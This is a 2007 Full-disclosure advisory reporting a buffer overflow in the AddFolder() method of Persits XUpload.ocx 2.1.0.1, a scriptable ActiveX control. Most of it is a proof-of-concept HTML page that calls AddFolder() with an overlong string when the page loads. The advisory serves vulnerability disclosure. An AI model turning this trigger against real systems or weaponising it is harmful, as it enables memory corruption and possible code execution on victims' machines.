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[Full-disclosure] Persits Software XUpload.ocx Buffer Overflow

from [Elazar Broad] Network Security [Permanent Link]
Subject: [Full-disclosure] Persits Software XUpload.ocx Buffer Overflow
Date: Tue, 25 Dec 2007 14:32:07 -0500 (GMT-05:00) 
There is a buffer overflow in the AddFolder() method of the Persists Software 
XUpload control, version 2.1.0.1. This object is marked safe for scripting. 
Version 3.0(latest) is not vulnerable(throws an error if the parameter is more 
than 256 characters), I have not tested any other versions. A quick Google 
search for "xupload.ocx" shows that this control is widely deployed. PoC as 
follows:

------------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
     var s = 'A';

    while (s.length <= 1380) s = s + 'A';

    obj.AddFolder(s);

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003" />
</object>
</body>
</html>
------------------

Elazar

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